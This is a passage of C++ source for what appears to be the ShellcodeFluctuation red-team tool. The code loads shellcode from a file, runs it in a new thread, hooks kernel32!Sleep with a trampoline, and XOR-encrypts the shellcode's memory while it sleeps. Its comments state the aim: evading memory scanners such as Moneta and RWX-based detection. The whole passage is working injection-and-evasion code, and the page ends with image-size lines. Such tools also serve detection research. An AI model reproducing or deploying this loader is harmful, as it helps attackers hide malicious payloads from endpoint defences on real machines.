log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");
|
||||
|
||||
HookTrampolineBuffers buffers = { 0 };
|
||||
buffers.originalBytes = g_hookedSleep.sleepStub;
|
||||
buffers.originalBytesSize = sizeof(g_hookedSleep.sleepStub);
|
||||
|
||||
//
|
||||
// Unhook kernel32!Sleep to evade hooked Sleep IOC.
|
||||
// We leverage the fact that the return address left on the stack will make the thread
|
||||
// get back to our handler anyway.
|
||||
//
|
||||
fastTrampoline(false, (BYTE*)::Sleep, &MySleep, &buffers);
|
||||
|
||||
// Perform sleep emulating originally hooked functionality.
|
||||
::Sleep(dwMilliseconds);
|
||||
|
||||
//
|
||||
// Decrypt (XOR32) shellcode's memory allocation and flip its memory pages back to RX
|
||||
//
|
||||
shellcodeEncryptDecrypt(caller);
|
||||
|
||||
//
|
||||
// Re-hook kernel32!Sleep
|
||||
//
|
||||
fastTrampoline(true, (BYTE*)::Sleep, &MySleep);
|
||||
}
|
||||
|
||||
std::vector<MEMORY_BASIC_INFORMATION> collectMemoryMap(HANDLE hProcess, DWORD Type)
|
||||
{
|
||||
std::vector<MEMORY_BASIC_INFORMATION> out;
|
||||
const size_t MaxSize = (sizeof(ULONG_PTR) == 4) ? ((1ULL << 31) - 1) : ((1ULL << 63) - 1);
|
||||
|
||||
uint8_t* address = 0;
|
||||
while (reinterpret_cast<size_t>(address) < MaxSize)
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
|
||||
if (!VirtualQueryEx(hProcess, address, &mbi, sizeof(mbi)))
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
if ((mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE_READ || mbi.Protect == PAGE_READWRITE)
|
||||
&& ((mbi.Type & Type) != 0))
|
||||
{
|
||||
out.push_back(mbi);
|
||||
}
|
||||
|
||||
address += mbi.RegionSize;
|
||||
}
|
||||
|
||||
return out;
|
||||
}
|
||||
|
||||
void initializeShellcodeFluctuation(const LPVOID caller)
|
||||
{
|
||||
if (g_fluctuate && g_fluctuationData.shellcodeAddr == nullptr && isShellcodeThread(caller))
|
||||
{
|
||||
auto memoryMap = collectMemoryMap(GetCurrentProcess());
|
||||
|
||||
//
|
||||
// Iterate over memory pages to find allocation containing the caller, being
|
||||
// presumably our Shellcode's thread.
|
||||
//
|
||||
for (const auto& mbi : memoryMap)
|
||||
{
|
||||
if (reinterpret_cast<uintptr_t>(caller) > reinterpret_cast<uintptr_t>(mbi.BaseAddress)
|
||||
&& reinterpret_cast<uintptr_t>(caller) < (reinterpret_cast<uintptr_t>(mbi.BaseAddress) + mbi.RegionSize))
|
||||
{
|
||||
// Store memory boundary of our shellcode somewhere globally.
|
||||
g_fluctuationData.shellcodeAddr = mbi.BaseAddress;
|
||||
g_fluctuationData.shellcodeSize = mbi.RegionSize;
|
||||
g_fluctuationData.protect = mbi.Protect;
|
||||
g_fluctuationData.currentlyEncrypted = false;
|
||||
|
||||
std::random_device dev;
|
||||
std::mt19937 rng(dev());
|
||||
std::uniform_int_distribution<std::mt19937::result_type> dist4GB(0, 0xffffffff);
|
||||
|
||||
// Use random 32bit key for XORing.
|
||||
g_fluctuationData.encodeKey = dist4GB(rng);
|
||||
|
||||
log("[+] Fluctuation initialized.");
|
||||
log(" Shellcode resides at 0x",
|
||||
std::hex, std::setw(8), std::setfill('0'), mbi.BaseAddress,
|
||||
" and occupies ", std::dec, mbi.RegionSize,
|
||||
" bytes. XOR32 key: 0x", std::hex, std::setw(8), std::setfill('0'), g_fluctuationData.encodeKey);
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
log("[!] Could not initialize shellcode fluctuation!");
|
||||
::ExitProcess(0);
|
||||
}
|
||||
}
|
||||
|
||||
void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey)
|
||||
{
|
||||
uint32_t* buf32 = reinterpret_cast<uint32_t*>(buf);
|
||||
|
||||
auto bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / 4;
|
||||
for (size_t i = 0; i < bufSizeRounded; i++)
|
||||
{
|
||||
buf32[i] ^= xorKey;
|
||||
}
|
||||
|
||||
for (size_t i = 4 * bufSizeRounded; i < bufSize; i++)
|
||||
{
|
||||
buf[i] ^= static_cast<uint8_t>(xorKey & 0xff);
|
||||
}
|
||||
}
|
||||
|
||||
bool isShellcodeThread(LPVOID address)
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
if (VirtualQuery(address, &mbi, sizeof(mbi)))
|
||||
{
|
||||
//
|
||||
// To verify whether address belongs to the shellcode's allocation, we can simply
|
||||
// query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc.
|
||||
//
|
||||
if (mbi.Type == MEM_PRIVATE)
|
||||
{
|
||||
return ((mbi.Protect & PAGE_EXECUTE_READWRITE)
|
||||
|| (mbi.Protect & PAGE_EXECUTE_READ)
|
||||
|| (mbi.Protect == PAGE_READWRITE));
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers)
|
||||
{
|
||||
#ifdef _WIN64
|
||||
uint8_t trampoline[] = {
|
||||
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
|
||||
0x41, 0xFF, 0xE2 // jmp r10
|
||||
};
|
||||
|
||||
uint64_t addr = (uint64_t)(jumpAddress);
|
||||
memcpy(&trampoline[2], &addr, sizeof(addr));
|
||||
#else
|
||||
uint8_t trampoline[] = {
|
||||
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, addr
|
||||
0xFF, 0xE0 // jmp eax
|
||||
};
|
||||
|
||||
uint32_t addr = (uint32_t)(jumpAddress);
|
||||
memcpy(&trampoline[1], &addr, sizeof(addr));
|
||||
#endif
|
||||
|
||||
DWORD dwSize = sizeof(trampoline);
|
||||
DWORD oldProt = 0;
|
||||
bool output = false;
|
||||
|
||||
if (installHook)
|
||||
{
|
||||
if (buffers != NULL)
|
||||
{
|
||||
if (buffers->previousBytes == nullptr || buffers->previousBytesSize == 0)
|
||||
return false;
|
||||
|
||||
memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize);
|
||||
}
|
||||
|
||||
if (::VirtualProtect(
|
||||
addressToHook,
|
||||
dwSize,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProt
|
||||
))
|
||||
{
|
||||
memcpy(addressToHook, trampoline, dwSize);
|
||||
output = true;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (buffers == NULL)
|
||||
return false;
|
||||
|
||||
if (buffers->originalBytes == nullptr || buffers->originalBytesSize == 0)
|
||||
return false;
|
||||
|
||||
dwSize = buffers->originalBytesSize;
|
||||
|
||||
if (::VirtualProtect(
|
||||
addressToHook,
|
||||
dwSize,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProt
|
||||
))
|
||||
{
|
||||
memcpy(addressToHook, buffers->originalBytes, dwSize);
|
||||
output = true;
|
||||
}
|
||||
}
|
||||
|
||||
::VirtualProtect(
|
||||
addressToHook,
|
||||
dwSize,
|
||||
oldProt,
|
||||
&oldProt
|
||||
);
|
||||
|
||||
return output;
|
||||
}
|
||||
|
||||
bool hookSleep()
|
||||
{
|
||||
HookTrampolineBuffers buffers = { 0 };
|
||||
buffers.previousBytes = g_hookedSleep.sleepStub;
|
||||
buffers.previousBytesSize = sizeof(g_hookedSleep.sleepStub);
|
||||
|
||||
g_hookedSleep.origSleep = reinterpret_cast<typeSleep>(::Sleep);
|
||||
|
||||
if (!fastTrampoline(true, (BYTE*)::Sleep, &MySleep, &buffers))
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void shellcodeEncryptDecrypt(LPVOID callerAddress)
|
||||
{
|
||||
if (g_fluctuate && g_fluctuationData.shellcodeAddr != nullptr && g_fluctuationData.shellcodeSize > 0)
|
||||
{
|
||||
if (!isShellcodeThread(callerAddress))
|
||||
return;
|
||||
|
||||
DWORD oldProt = 0;
|
||||
|
||||
if (!g_fluctuationData.currentlyEncrypted)
|
||||
{
|
||||
::VirtualProtect(
|
||||
g_fluctuationData.shellcodeAddr,
|
||||
g_fluctuationData.shellcodeSize,
|
||||
PAGE_READWRITE,
|
||||
&g_fluctuationData.protect
|
||||
);
|
||||
|
||||
log("[>] Flipped to RW. Encoding...");
|
||||
}
|
||||
else
|
||||
{
|
||||
log("[.] Decoding...");
|
||||
}
|
||||
|
||||
xor32(
|
||||
reinterpret_cast<uint8_t*>(g_fluctuationData.shellcodeAddr),
|
||||
g_fluctuationData.shellcodeSize,
|
||||
g_fluctuationData.encodeKey
|
||||
);
|
||||
|
||||
if (g_fluctuationData.currentlyEncrypted)
|
||||
{
|
||||
::VirtualProtect(
|
||||
g_fluctuationData.shellcodeAddr,
|
||||
g_fluctuationData.shellcodeSize,
|
||||
g_fluctuationData.protect,
|
||||
&oldProt
|
||||
);
|
||||
|
||||
log("[>] Flipped to RX.");
|
||||
}
|
||||
|
||||
g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted;
|
||||
}
|
||||
}
|
||||
|
||||
bool readShellcode(const char* path, std::vector<uint8_t>& shellcode)
|
||||
{
|
||||
HandlePtr file(CreateFileA(
|
||||
path,
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
0,
|
||||
NULL
|
||||
), &::CloseHandle);
|
||||
|
||||
if (INVALID_HANDLE_VALUE == file.get())
|
||||
return false;
|
||||
|
||||
DWORD highSize;
|
||||
DWORD readBytes = 0;
|
||||
DWORD lowSize = GetFileSize(file.get(), &highSize);
|
||||
|
||||
shellcode.resize(lowSize, 0);
|
||||
|
||||
return ReadFile(file.get(), shellcode.data(), lowSize, &readBytes, NULL);
|
||||
}
|
||||
|
||||
void runShellcode(LPVOID param)
|
||||
{
|
||||
auto func = ((void(*)())param);
|
||||
|
||||
//
|
||||
// Jumping to shellcode. Look at the coment in injectShellcode() describing why we opted to jump
|
||||
// into shellcode in a classical manner instead of fancy hooking
|
||||
// ntdll!RtlUserThreadStart+0x21 like in ThreadStackSpoofer example.
|
||||
//
|
||||
func();
|
||||
}
|
||||
|
||||
bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr &thread)
|
||||
{
|
||||
//
|
||||
// Firstly we allocate RW page to avoid RWX-based IOC detections
|
||||
//
|
||||
auto alloc = ::VirtualAlloc(
|
||||
NULL,
|
||||
shellcode.size() + 1,
|
||||
MEM_COMMIT,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
|
||||
if (!alloc)
|
||||
return false;
|
||||
|
||||
memcpy(alloc, shellcode.data(), shellcode.size());
|
||||
|
||||
DWORD old;
|
||||
|
||||
//
|
||||
// Then we change that protection to RX
|
||||
//
|
||||
if (!VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old))
|
||||
return false;
|
||||
|
||||
/*
|
||||
* We're not setting these pointers to let the hooked sleep handler figure them out itself.
|
||||
*
|
||||
g_fluctuationData.shellcodeAddr = alloc;
|
||||
g_fluctuationData.shellcodeSize = shellcode.size();
|
||||
g_fluctuationData.protect = Shellcode_Memory_Protection;
|
||||
*/
|
||||
|
||||
shellcode.clear();
|
||||
|
||||
//
|
||||
// Example provided in https://github.com/mgeeky/ThreadStackSpoofer showed how we can start
|
||||
// our shellcode from temporarily hooked ntdll!RtlUserThreadStart+0x21 .
|
||||
//
|
||||
// That approached was a bit flawed due to the fact, the as soon as we introduce a hook within module,
|
||||
// even when we immediately unhook it the system allocates a page of memory (4096 bytes) of type MEM_PRIVATE
|
||||
// inside of a shared library allocation that comprises of MEM_IMAGE/MEM_MAPPED pool.
|
||||
//
|
||||
// Memory scanners such as Moneta are sensitive to scanning memory mapped PE DLLs and finding amount of memory
|
||||
// labeled as MEM_PRIVATE within their region, considering this (correctly!) as a "Modified Code" anomaly.
|
||||
//
|
||||
// We're unable to evade this detection for kernel32!Sleep however we can when it comes to ntdll. Instead of
|
||||
// running our shellcode from a legitimate user thread callback, we can simply run a thread pointing to our
|
||||
// method and we'll instead jump to the shellcode from that method.
|
||||
//
|
||||
thread.reset(::CreateThread(
|
||||
NULL,
|
||||
0,
|
||||
(LPTHREAD_START_ROUTINE)runShellcode,
|
||||
alloc,
|
||||
0,
|
||||
0
|
||||
));
|
||||
|
||||
return (NULL != thread.get());
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
log("Usage: ShellcodeFluctuation.exe <shellcode> <fluctuate>");
|
||||
log("<fluctuate>:\n\t-1 - Read shellcode but dont inject it. Run in an infinite loop.");
|
||||
log("\t0 - Inject the shellcode but don't hook kernel32!Sleep and don't encrypt anything");
|
||||
log("\t1 - Inject shellcode and start fluctuating its memory.");
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::vector<uint8_t> shellcode;
|
||||
bool dontInject = !strcmp(argv[2], "-1");
|
||||
if(!dontInject) g_fluctuate = (!strcmp(argv[2], "true") || !strcmp(argv[2], "1"));
|
||||
|
||||
log("[.] Reading shellcode bytes...");
|
||||
if (!readShellcode(argv[1], shellcode))
|
||||
{
|
||||
log("[!] Could not open shellcode file! Error: ", ::GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (g_fluctuate)
|
||||
{
|
||||
log("[.] Hooking kernel32!Sleep...");
|
||||
if (!hookSleep())
|
||||
{
|
||||
log("[!] Could not hook kernel32!Sleep!");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
log("[.] Shellcode will not fluctuate its memory pages protection.");
|
||||
}
|
||||
|
||||
if (dontInject)
|
||||
{
|
||||
log("[.] Entering infinite loop (not injecting the shellcode) for memory IOCs examination.");
|
||||
log("[.] PID = ", std::dec, GetCurrentProcessId());
|
||||
while (true) {}
|
||||
}
|
||||
|
||||
log("[.] Injecting shellcode...");
|
||||
|
||||
HandlePtr thread(NULL, &::CloseHandle);
|
||||
if (!injectShellcode(shellcode, thread))
|
||||
{
|
||||
log("[!] Could not inject shellcode! Error: ", ::GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
log("[+] Shellcode is now running. PID = ", std::dec, GetCurrentProcessId());
|
||||
|
||||
WaitForSingleObject(thread.get(), INFINITE);
|
||||
}
|
||||
|
After Width: | Height: | Size: 91 KiB |
|
After Width: | Height: | Size: 112 KiB |
|
After Width: | Height: | Size: 46 KiB |
|
After Width: | Height: | Size: 31 KiB |
|
After Width: | Height: | Size: 363 KiB |
|
After Width: | Height: | Size: 44 KiB |
|
After Width: | Height: | Size: 19 KiB |